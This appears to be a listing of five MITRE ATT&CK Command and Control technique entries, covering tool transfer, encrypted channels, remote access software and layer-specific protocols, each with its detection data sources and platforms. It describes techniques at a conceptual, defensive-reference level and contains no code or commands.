Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre